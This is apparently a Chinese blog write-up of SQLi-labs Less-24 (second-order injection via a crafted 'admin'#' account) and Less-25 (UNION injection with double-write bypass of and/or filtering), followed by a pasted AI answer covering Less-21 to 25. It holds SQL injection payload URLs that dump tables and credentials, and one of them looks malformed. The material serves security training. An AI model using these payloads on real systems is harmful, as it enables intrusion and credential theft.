二次注入(less-24,25)

Less-24:

首先我们进入靶场

1.使用用户名:admin 密码:admin0(每个人密码都不一样请注意!!) 进行登录

​编辑

2.在登录成功,会出现一个重置密码界面

​编辑

3.我们先不改密码,先回到登陆页面进行新用户admin'#的创建

4.使用新注册的用户进行登录,修改密码为abcd

5.再使用admin用户登录,结果发现登录失败,之后我们把密码换成abcd,再登录显示成功

6.查看源码

Less-25:

我们转换到25号靶场

1.首先我们要判断注入类型

2.继续判断的时候发现过滤了and

3.判断字段数并查看显示位置

4.查看当前数据库

5.爆表

6.爆列

7.爆数据


Less-24:

首先我们进入靶场

1.使用用户名:admin 密码:admin0(每个人密码都不一样请注意!!) 进行登录

2.在登录成功,会出现一个重置密码界面

3.我们先不改密码,先回到登陆页面进行新用户admin'#的创建

密码自定,我是111。

4.使用新注册的用户进行登录,修改密码为abcd

此为密码修改成功

5.再使用admin用户登录,结果发现登录失败,之后我们把密码换成abcd,再登录显示成功

登录失败

登录成功

6.查看源码

在我们修改用户admin'#的密码时,实际执行的语句为下列语句,所以我们才能修改用户admin的密码

UPDATE users SET PASSWORD='abcd' where username='admin'

结束

Less-25:

我们转换到25号靶场

1.首先我们要判断注入类型

通过报错,我们可以大概看出是一个单引号字符型注入

2.继续判断的时候发现过滤了and

3.判断字段数并查看显示位置

http://127.0.0.1/sqllab/Less-25/?id=1' order by 3--+

http://127.0.0.1/sqllab/Less-25/?id=1' oorrder by 3--+ #双写绕过

http://127.0.0.1/sqllab/less-25/?id=-1' union select 1,2,3 --+

4.查看当前数据库

http://127.0.0.1/sqllab/less-25/?id=-1' union select 1,2,database()--+

5.爆表

http://127.0.0.1/sqllab/less-25/?id=-1' union select 1,2,group_concat(table_name) from infoandrmation_schema.tables where table_schema='security'--+

6.爆列

http://127.0.0.1/sqllab/less-25/?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'--+

7.爆数据

http://127.0.0.1/sqllab/less-25/?id=-1' and union select 1,group_concat(username),group_concat(passwoorrd) from users--+

<think>好的,我现在要解决用户关于SQLILabs Less-21到Less-25的手工SQL注入问题。首先,我需要回忆一下这些关卡的设置和可能的注入点。用户可能需要详细的步骤和原理,所以得确保自己理解每个关卡的特点。 首先,Less-21到Less-25通常属于高级注入技术,可能涉及更复杂的过滤和编码处理。比如,我记得Less-21可能涉及Cookie注入或者某种编码,比如base64,而Less-23可能过滤了注释符,需要绕过。Less-24二次注入的示例,Less-25可能涉及OR和AND的过滤,比如使用双写绕过。 接下来,我需要查阅已有的引用内容。例如,用户提供的引用[3]提到使用union select并闭合引号,引用[4]使用了报错注入和布尔盲注,引用[5]涉及联合注入和报错注入。这些都可能在不同关卡中用到。 对于每个关卡,我需要分步骤考虑: 1. 确定注入点类型:是GET、POST还是Cookie?是否有特殊编码? 2. 判断闭合方式:单引号、双引号,是否带有括号? 3. 绕过过滤机制:是否有关键字过滤(如union、select),如何绕过(如大小写、双写、注释符)? 4. 选择合适的注入方法:联合注入、报错注入、布尔盲注还是时间盲注? 5. 构造payload并验证:确保闭合正确,语法正确,能够提取数据。 例如,Less-21可能是Cookie注入,且数据经过base64编码,所以注入时需要将payload进行编码。而Less-23可能过滤了注释符,因此需要手动闭合后面的引号。 需要注意的常见错误包括闭合不正确、未处理编码、忽略过滤规则等。因此,每一步都需要验证响应,确认注入是否成功,比如通过错误信息、页面内容变化或时间延迟。 此外,用户可能需要具体的payload示例和解释,所以需要给出每个关卡的典型解法,并解释原理。例如,在Less-25中,如果过滤了OR和AND,可以使用双写绕过,如OORR。 最后,生成相关问题时要覆盖每个关卡的关键点,以及可能的变种情况,帮助用户深入理解。</think>### SQLILabs Less-21至Less-25手工注入解析 #### 一、Less-21:Cookie注入+Base64编码 1. **注入点定位**:通过Cookie参数`uname`传递,数据经过Base64编码[^3]。 2. **闭合方式**:单引号闭合,需构造如:`' union select 1,2,database() #` → Base64编码后提交。 3. **Payload示例**: ```sql admin') union select 1,version(),3 --+ ``` 编码为:`YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSx2ZXJzaW9uKCksMyAtLSs=` 4. **利用步骤**: - 使用浏览器开发者工具修改Cookie中的`uname`参数 - 通过报错信息或联合查询提取数据 #### 二、Less-22:双引号闭合+Base64编码 1. **区别点**:闭合符号为双引号,Payload需调整为: ```sql admin" union select 1,@@version,3 --+ ``` 2. **编码注意**:需对完整Payload进行Base64编码后提交。 #### 三、Less-23:注释符过滤绕过 1. **过滤规则**:过滤`--`和`#`,需手动闭合后续引号[^4]。 2. **Payload构造**: ```sql ?id=1' union select 1,(select group_concat(table_name) from information_schema.tables),'3 ``` 利用末尾的`'3`闭合原SQL语句中的第三个字段。 #### 四、Less-24二次注入 1. **场景特点**:通过注册用户名注入,利用密码修改功能触发。 2. **攻击步骤**: - 注册用户名为`admin'#` - 登录后修改密码时,实际执行: ```sql UPDATE users SET password='new_pass' WHERE username='admin'#' ``` 导致修改admin用户的密码。 #### 五、Less-25:OR/AND过滤绕过 1. **过滤规则**:过滤`OR`和`AND`,使用双写绕过(如`OORR`)。 2. **Payload示例**: ```sql ?id=1' OORRder by 3--+ ``` 或使用`&&`替代: ```sql ?id=1' && substr(database(),1,1)='s'--+ ``` --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值